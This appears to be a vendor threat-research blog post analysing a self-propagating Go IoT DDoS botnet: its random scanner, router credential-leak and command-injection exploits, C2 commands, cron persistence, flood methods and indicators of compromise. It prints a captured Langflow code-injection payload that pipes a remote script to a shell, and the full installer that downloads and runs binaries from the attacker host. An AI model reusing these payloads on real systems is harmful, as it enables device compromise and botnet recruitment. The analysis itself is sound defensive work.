Background

Analyzing a Go-Based IoT Self-Propagating DDoS Botnet

September 03, 2026 by Larry Cashdollar

Share

Key takeaways

This Go-based Internet of Things (IoT) botnet combines an independently operating scanner with a command and control (C2) client, allowing it to both expand the botnet and receive attack instructions.

The malware uses multiple router vulnerabilities and an observed Langflow CVE-2026-33017 infection path to compromise additional devices.

Its Botnet_Methods package contains roughly 30 distributed denial-of-service (DDoS) techniques spanning volumetric, packet rate, game server, HTTPS, TLS, and evasion-oriented attacks.

Several of the malware’s capabilities are designed to make attack traffic harder to identify using static signatures, underscoring the need for behavioral threat intelligence and distributed DDoS mitigation.

What is this botnet capable of?

The sample we analyzed is a self-propagating IoT DDoS botnet written in Go. Its capabilities fall into three main areas: propagation, remote control, and DDoS attacks.

The malware’s C2 client maintains a connection to a hard-coded controller and waits for attack commands. Separately, its worm/scanner module continuously searches the public internet for vulnerable IoT and router devices. The scanner begins operating when the malware launches and does not require a command from the C2 server.

The sample also contains approximately 30 DDoS methods. These include basic volumetric floods, packet rate attacks, game server attacks, HTTPS- and TLS-based attacks, and techniques designed to bypass or evade mitigation.

This combination allows the malware to recruit additional devices while providing operators with a flexible pool of attack capacity (Figure 1).

This combination allows the malware to recruit additional devices while providing operators with a flexible pool of attack capacity (Figure 1).
Fig. 1: Infected machine statistics being sent as a heartbeat
This combination allows the malware to recruit additional devices while providing operators with a flexible pool of attack capacity (Figure 1).

How does the botnet find and compromise new devices?

The propagation module uses blind random public-IPv4 scanning. 

main.StartScanner launches exactly 100 concurrent goroutines. Each worker repeatedly generates a random IP address, attempts exploitation, waits 100 milliseconds, and starts again. The scanner filters out RFC1918 private addresses and loopback addresses, but there is no evidence of CIDR- or ASN-based targeting.

This means the scanner is not working from a predefined list of networks. Instead, it continuously samples the public IPv4 address space looking for vulnerable devices.

What vulnerabilities does it exploit?

The exploitation sequence targets exposed router configuration and diagnostic interfaces.

The process begins with main.confCheck, which sends a raw TCP request for /config.dat with a User-Agent: Hello World header. The malware uses the response to determine whether the target exposes an unauthenticated configuration backup. A 200 OK response with a Content-Disposition: attachment header indicates a successful check.

If the configuration is accessible, main.getCredLeak and main.getAdminCredLeak retrieve and process the response. The malware uses a hand-written LZSS decompressor, similar to the approach used by Mirai’s table.c, before parsing credentials from the resulting plaintext using fixed two-byte TLV tags.

Importantly, the malware does not appear to rely on dictionary or brute-force attacks to obtain credentials. It retrieves them directly from the exposed configuration data (Figure 2).

 It retrieves them directly from the exposed configuration data (Figure 2).
Fig. 2: Code to attempt to download a backup file
 It retrieves them directly from the exposed configuration data (Figure 2).

The sample also contains command injection functionality targeting TOTO/TOTOLINK-style router interfaces (Figures 3 and 4). The syscmdPing and sysmdPingToto functions contain the recovered string fragment /syscmd.htm, confirming that the malware sends a handcrafted HTTP request to a diagnostic CGI endpoint.

The sample also contains command injection functionality targeting TOTO/TOTOLINK-style router interfaces (Figures 3 and 4).
Fig. 3: Command injection exploit for TOTO routers
The sample also contains command injection functionality targeting TOTO/TOTOLINK-style router interfaces (Figures 3 and 4).
The sample also contains command injection functionality targeting TOTO/TOTOLINK-style router interfaces (Figures 3 and 4).
Fig. 4: Another variant of a command injection exploit for TOTO routers
The sample also contains command injection functionality targeting TOTO/TOTOLINK-style router interfaces (Figures 3 and 4).

How does the initial infection occur?

The analyzed sample was also observed being downloaded after exploitation of Langflow CVE-2026-33017.

A honeypot captured a request to the Langflow /api/v1/validate/code endpoint that executed a command to retrieve bins.sh from the attack infrastructure (Figure 5).

2026-08-05T09:06:53Z 94.154.43.54 REQUEST dst_port=7860 /api/v1/validate/code {"code":"def run(cd=exec('raise Exception(__import__(\"subprocess\").check_output(\"curl -s http://5.175.140.250:5001/bins.sh | sh\", shell=True))')): pass"}
Fig. 5: Honeypot infection log

The installer then attempts to download and execute architecture-specific binaries, including x86, i386, amd64, ARM, and Android variants (Figure 6).

#!/bin/sh
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /
wget http://5.175.140.250:5001/x86 -O x86; chmod +x x86; ./x86; rm -f x86
curl -O http://5.175.140.250:5001/x86; chmod +x x86; ./x86; rm -f x86
wget http://5.175.140.250:5001/i386 -O i386; chmod +x i386; ./i386; rm -f i386
curl -O http://5.175.140.250:5001/i386; chmod +x i386; ./i386; rm -f i386
wget http://5.175.140.250:5001/amd64 -O amd64; chmod +x amd64; ./amd64; rm -f amd64
curl -O http://5.175.140.250:5001/amd64; chmod +x amd64; ./amd64; rm -f amd64
wget http://5.175.140.250:5001/arm -O arm; chmod +x arm; ./arm; rm -f arm
curl -O http://5.175.140.250:5001/arm; chmod +x arm; ./arm; rm -f arm
wget http://5.175.140.250:5001/armv7l -O armv7l; chmod +x armv7l; ./armv7l; rm -f armv7l
curl -O http://5.175.140.250:5001/armv7l; chmod +x armv7l; ./armv7l; rm -f armv7l
wget http://5.175.140.250:5001/arm5 -O arm5; chmod +x arm5; ./arm5; rm -f arm5
curl -O http://5.175.140.250:5001/arm5; chmod +x arm5; ./arm5; rm -f arm5
wget http://5.175.140.250:5001/arm6 -O arm6; chmod +x arm6; ./arm6; rm -f arm6
curl -O http://5.175.140.250:5001/arm6; chmod +x arm6; ./arm6; rm -f arm6
wget http://5.175.140.250:5001/arm64 -O arm64; chmod +x arm64; ./arm64; rm -f arm64
curl -O http://5.175.140.250:5001/arm64; chmod +x arm64; ./arm64; rm -f arm64
wget http://5.175.140.250:5001/android_arm -O android_arm; chmod +x android_arm; ./android_arm; rm -f android_arm
curl -O http://5.175.140.250:5001/android_arm; chmod +x android_arm; ./android_arm; rm -f android_arm
wget http://5.175.140.250:5001/android_arm64 -O android_arm64; chmod +x android_arm64; ./android_arm64; rm -f android_arm64
curl -O http://5.175.140.250:5001/android_arm64; chmod +x android_arm64; ./android_arm64; rm -f android_arm64
wget http://5.175.140.250:5001/bot.exe -O bot.exe; chmod +x bot.exe; ./bot.exe; rm -f bot.exe
curl -O http://5.175.140.250:5001/bot.exe; chmod +x bot.exe; ./bot.exe; rm -f bot.exe
Fig. 6: bins.sh installer script

This provides an initial infection path into the botnet, after which the malware’s own scanner can search for additional vulnerable devices.

How does the malware communicate with its operators?

The analyzed binary connects to 5.175.140.250:9111 using plaintext TCP. No TLS, authentication handshake, encoding, or obfuscation was observed on the C2 connection. After connecting, the malware reads the socket one line at a time with bufio.Scanner.Scan(). Each line is split into whitespace-delimited fields with strings.Fields(), with the first field determining the command.

Matched commands launch the corresponding Botnet_Methods function in a new Go goroutine, passing parameters such as the target and attack duration.

The command set includes:

  • KILL: terminates and removes the malware

  • STOP: stops an active attack and resets the attack state

  • Persist: invokes the persistence routine

  • dns,ovh, fort, game, gbps, and https: launches different attack methods    

  • bypass, crash, freez, and priv7: launches additional attack methods     

  • discord and fivem: targets Discord and FiveM infrastructure

  • ppsraw,udppps, raw-udp, raw-tcp, and raw-ack: launches packet- or transport-level floods           

  • tlsplus and tlsplusbypass: launches TLS-based attack variants

Additional methods are present in the binary even though they were not individually traced to a literal C2 command, including TCPFlood, UdpFlood, TLSFlood, PPSFlood, and Minecraft

There was no evidence of multiple fallback C2 hosts, C2 encryption, or an authentication handshake in the analyzed sample. However, the C2 address is not necessarily fixed across every build. Compile-time configuration can replace main.ServerIP, allowing the operator to build the malware with a different controller (Figure 7).

39788 0x0041603b 0x0845e03b 203  204  .go.buildinfo    ascii   path\tBotnet/Bot\nmod\tBotnet\t(devel)\t\nbuild\t-compiler=gc\nbuild\t-ldflags="-s -w -X main.ServerIP=5.175.140.250"\nbuild\t-tags=netgo\nbuild\tCGO_ENABLED=0\nbuild\tGOARCH=386\nbuild\tGOOS=linux\nbuild\tGO386=softfloat\n
Fig. 7: Compile time flags to update the C2 information

How does the malware persist?

Persistence is triggered by the persist C2 command. The main.AutoStart routine determines the malware’s own executable path, copies the binary to a persistence location, and makes the copy executable. It then checks startup files — including cron, init scripts, or rc-style configuration — for an existing entry. If none is found, it appends an entry for itself.

The observed sample also uses the following cron entry:

* * * * * /tmp/sysd > /dev/null 2>&1

This gives the malware a mechanism to regain execution after system events such as a reboot.

What types of DDoS attacks can it launch?

The Botnet_Methods package contains approximately 30 attack methods. Because many of the functions are thin wrappers around goroutines containing the actual packet and socket logic, the transport type for some methods can be inferred from function names or visible resolver/dial calls rather than directly confirmed from the extracted attack body (Figure 8).

Because many of the functions are thin wrappers around goroutines containing the actual packet and socket logic, the transport type for some methods can be inferred from function names or visible resolver/dial calls rather than directly confirmed from the extracted attack body (Figure 8).
Fig. 8: Attack command received
Because many of the functions are thin wrappers around goroutines containing the actual packet and socket logic, the transport type for some methods can be inferred from function names or visible resolver/dial calls rather than directly confirmed from the extracted attack body (Figure 8).

 

The observed methods fall into three groups:

  1. Volumetric and raw floods

  2. Packet rate attacks

  3. Game- and application-targeted attacks

Volumetric and raw floods

  • UdpFlood and FortAttack, which resolve UDP addresses

  • RawUDPFlood, a raw-socket UDP flood

  • RawTCPFlood and RawACKFlood, which target TCP traffic

  • TCPFlood, a generic TCP flood

  • GbpsFlood, a bandwidth-oriented variant

  • UDPPPSFlood, a packet rate–oriented UDP variant

Packet rate attacks

PPSFlood and PPSRawFlood use worker goroutines and synchronization through sync.WaitGroup to generate traffic.

Both resolve UDP addresses and reconstruct host:port strings in the attack code. PPSRawFlood additionally calls runtime.GOMAXPROCS to size its worker pool to the number of available CPUs, making its throughput-oriented design particularly clear.

Game- and application-targeted attacks

  • GameFlood targets a generic game server address and port

  • FiveMFlood, FiveMBypass, and FiveMTCP target FiveM, the GTA V multiplayer platform

  • Minecraft targets Minecraft servers

  • Discord targets Discord-related infrastructure, although the precise mechanism was not recovered

  • OVHFlood is named for OVH, suggesting a technique intended to target or bypass its DDoS mitigation

  • HTTPSFlood targets the HTTPS layer

How does the botnet attempt to evade mitigation?

The clearest evidence of deliberate evasion is Priv7Flood. Rather than sending identical requests, this method constructs HTTP-like traffic that varies between connections. It first normalizes the target URL and resolves the destination, then creates a worker pool sized according to the available CPUs: 250 workers on systems with fewer than four CPUs and 1,000 workers otherwise.

Each worker allocates a 2,000-byte buffer and generates random data between 16 and 141 bytes. It also selects strings from several pools: six strings likely representing rotating User-Agent values, four additional strings, and three longer strings. These values are incorporated into a 191-byte Sprintf template.

The result is a different-looking HTTP-like request on each connection. This behavior appears designed to make static-signature DDoS detection more difficult. Instead of relying on a single predictable request pattern, the malware introduces enough variation to complicate defenses that depend primarily on fixed signatures.

The sample contains additional TLS-oriented methods, including TLSFlood, TLSPlusFlood, and TLSPlusBypassFlood. TLSPlusBypassFlood loads a list of proxies from a file and routes traffic through the proxy pool, providing additional source-IP diversity.

What does this mean for defenders?

The technical implementation of this botnet is relatively straightforward in some areas. Its C2 protocol is unencrypted and unauthenticated, for example, and the sample does not demonstrate the characteristics of a hardened, APT-style implant.

Instead, its threat comes from the combination of simple automation and broad attack capability. The scanner operates independently of the C2 connection, allowing infected devices to continue to search for additional victims. Once devices are compromised, operators can choose from a large set of attack techniques, including volumetric and application-layer floods.

Some methods deliberately vary their traffic or use proxies to make static detection more difficult. This creates a distributed attack platform that can adapt its traffic to different targets and defensive controls.

How Akamai can help

Research from the Akamai Security Intelligence Response Team (SIRT) helps identify these behaviors by reverse-engineering malware samples and analyzing their C2 protocols, propagation mechanisms, and attack techniques. Project Hydra, the SIRT’s honeypot network, further expands this visibility through large-scale observations of automated attack infrastructure, including honeypot activity and malware samples.

These findings can inform threat intelligence and mitigation strategies. Akamai’s distributed edge architecture is designed to mitigate attack traffic before it reaches customer origins, while services such as Akamai Prolexic address large-scale volumetric DDoS attacks and Akamai App & API Protector provide protection for application-layer targets.

The value of this research is not limited to identifying a single botnet. Understanding how automated malware recruits devices, coordinates attacks, and varies traffic helps defenders prepare for the broader techniques that these campaigns use.

Conclusion

This Go-based IoT botnet demonstrates how automated propagation can turn vulnerable internet-connected devices into distributed DDoS capacity. Its scanner continuously searches for vulnerable public-facing devices, while its C2 infrastructure gives operators control over a broad collection of attack techniques. The malware also includes persistence mechanisms and several methods intended to vary or disguise attack traffic.

The sample’s significance comes from how effectively relatively simple components work together: automated recruitment, persistent access, centralized control, and a flexible DDoS toolkit.

For defenders, that combination reinforces the importance of understanding attack infrastructure at both the malware and traffic levels. Reverse engineering can reveal how a campaign operates, threat intelligence can turn those findings into actionable indicators and behaviors, and distributed edge defenses can help stop malicious traffic before it reaches its intended target.

Indicators of compromise
 

93ad001ca5182100bbfca7140863fad0e18e8022c9f162d2c7aeaf524c59871e x86
1756584f0dc1dea20d16a8dd5c5c2c56277fabfa4633c7e478882e932cc71886  bins.sh
e7f5644ab6c3fe20eb4d70cb35e99848480e99cd3ef9fe9275ef1cd68def15ae  amd64
054e7e233444263351f4e6f3d458452bb706d7b1b386b90d97b17ad921b4d129  android_arm
50d595843b66c092f100576070ae14609806cc87c7c90ba0164d8a63d049f558  android_arm64
054e7e233444263351f4e6f3d458452bb706d7b1b386b90d97b17ad921b4d129  arm
0d4bcf3868dcad3409492dc3b8d01439eacd99e49ca746fbcf019dc32ae82a65  arm5
b5dc81677b384f01e837374cc508362e2ece6a186f7f08009af3cac2ba7b7ff7  arm6
50d595843b66c092f100576070ae14609806cc87c7c90ba0164d8a63d049f558  arm64
054e7e233444263351f4e6f3d458452bb706d7b1b386b90d97b17ad921b4d129  armv7l
1756584f0dc1dea20d16a8dd5c5c2c56277fabfa4633c7e478882e932cc71886  bins.sh
36e7f2a2a2711b617e6e7f5e73c49e3cbf03b4398169331750e649070442a30e  bot.exe


http://5.175.140.250:5001/bins.sh

Cron entry

* * * * * /tmp/sysd > /dev/null 2>&1

C2
5.175.140.250:9111 
salmosnet.duckdns[.]org

91.92.42.232
	- deasluon.shop
91.92.42.125
	- falhuhna.shop (confirmed downloader)
	- johenlg.proxywall.pw
91.92.40.63
192.142.55.159
176.65.139.202
176.65.139.114
94.156.152.234
153.75.248.141
81.29.156.139
5.175.223.113
87.106.146.245

About the Author(s)

Larry Cashdollar

Larry Cashdollar

Larry Cashdollar has been working in the security field as a vulnerability researcher for more than 20 years and is currently a Principal Security Researcher on the Security Intelligence Response Team at Akamai. He studied computer science at the University of Southern Maine. Larry has documented more than 300 CVEs and has presented his research at BotConf, BSidesBoston, OWASP Rhode Island, and DEF CON. He enjoys the outdoors and rebuilding small engines in his spare time.